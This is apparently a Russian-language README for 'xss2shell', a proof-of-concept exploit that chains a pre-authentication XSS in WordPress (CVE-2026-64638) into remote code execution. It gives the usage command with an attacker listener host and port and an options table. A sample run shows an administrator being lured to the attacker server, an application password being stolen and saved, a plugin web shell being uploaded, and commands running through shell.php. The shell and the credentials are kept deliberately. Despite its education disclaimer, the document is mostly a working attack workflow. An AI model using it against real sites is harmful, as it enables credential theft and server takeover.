
# Эксплойт PoC для WordPress: XSS до RCE без аутентификации (xss2shell и CVE-2026-64638)
XSS2Shell — это обучающая proof-of-concept-эксплуатация для CVE-2026-64638, демонстрирующая влияние XSS-уязвимости до аутентификации в уязвимых установках WordPress. При явном участии администратора PoC перехватывает пароль приложения WordPress, публикует временную страницу, загружает тестовый плагин и проверяет, может ли полученная shell-конечная точка выполнить команду.
Техническая информация: WordPress Pre-Auth XSS to RCE: CVE-2026-64638
Только для обучения и авторизованного тестирования. Запускайте этот инструмент только против сайтов WordPress, которыми вы владеете или на проверку которых у вас есть письменное разрешение. Не используйте его для атаки на администраторов третьих лиц или производственные системы.
python3 xss2shell_poc.py -t http://wordpress.research.local --lhost 192.168.1.227 --lport 8080 -c "whoami"
| Option | Required | Description |
|---|---|---|
-t, --target | Да | Базовый URL WordPress, включая http:// или https:// |
-c, --command | Да | Команда для выполнения после появления shell |
--lhost | Нет | IP-адрес для привязки и объявления прослушивателя; по умолчанию используется обнаруженный LAN IP |
--lport | Нет | Порт прослушивателя; 0 выбирает случайный доступный порт |
--keep | Нет | Сохранять опубликованные артефакты вместо удаления временной страницы |
Целевой URL нормализуется автоматически, поэтому завершающий слэш необязателен.
/wp-login.php доступен и выглядит как страница входа WordPress.shell.php и выполняет запрошенную команду.Прослушиватель должен быть доступен из браузера администратора. NAT, межсетевой экран, прокси, блокировка всплывающих окон и правила смешанного контента могут помешать завершению браузерного сценария.
__ __ _ _____
\ \ / / | |/ ____|
\ \ /\ / /__ _ __ __| | (___ ___ ___
\ \/ \/ / _ \| '__/ _` |\___ \ / _ \/ __|
\ /\ / (_) | | | (_| |____) | __/ (__
\/ \/ \___/|_| \__,_|_____/ \___|\___|
xss2shell & CVE-2026-64638 | https://wordsec.net/ - Education Purpose Only
============================================================
[*] XSS2Shell starting ...
[*] Checking target: http://wordpress.research.local/wp-login.php
[+] Admin panel found: http://wordpress.research.local/wp-login.php
[+] Attacker server listening: 192.168.1.227:8080
[*] On the target website, the admin must open this page and log in:
-> http://wordpress.research.local/wp-login.php
[*] Then the admin opens the link that was sent to them:
-> http://192.168.1.227:8080/
[*] Waiting for the admin to visit (Ctrl+C to stop) ...
[+] Child popup document initialized
[+] Popup window ready, XSS payload prepared
[+] Application Password saved to xss2shell_creds.json for later runs (shell: http://wordpress.research.local/wp-content/plugins/xss2shell/shell.php)
[+] XSS payload POSTed to wp-login.php
[+] Application Password stolen: user=admin pass=3SGS Loba 2Txw EzWz EbZC xZst (saved to xss2shell_creds.json)
[+] Attacker page published: http://wordpress.research.local/xss2shell-1786125273210/
[+] Plugin ZIP upload request sent with the victim's session
[+] Shell reachable: http://wordpress.research.local/wp-content/plugins/xss2shell/shell.php
============================================================
[+] Command output:
www-data
============================================================
[*] Cleanup: published page deleted (id=61)
[*] Cleanup: Application Password, plugin shell, and saved credentials preserved
[+] Shell link: http://wordpress.research.local/wp-content/plugins/xss2shell/shell.php?cmd=whoami
[+] Done.
При успешных запусках перехваченный пароль приложения сохраняется в xss2shell_creds.json для повторного использования в последующих запусках. Временная опубликованная страница удаляется автоматически после выполнения команды, если не используется --keep.
Тестовый плагин, shell-конечная точка, пароль приложения и сохранённые учётные данные намеренно сохраняются текущим PoC. Удалите их вручную с тестового сайта после авторизованной оценки и удалите xss2shell_creds.json локально.
Относитесь к файлу с учётными данными как к конфиденциальному и никогда не фиксируйте его в системе контроля версий.
Используйте лицензию, включённую в этот репозиторий.
Сделано: WordSec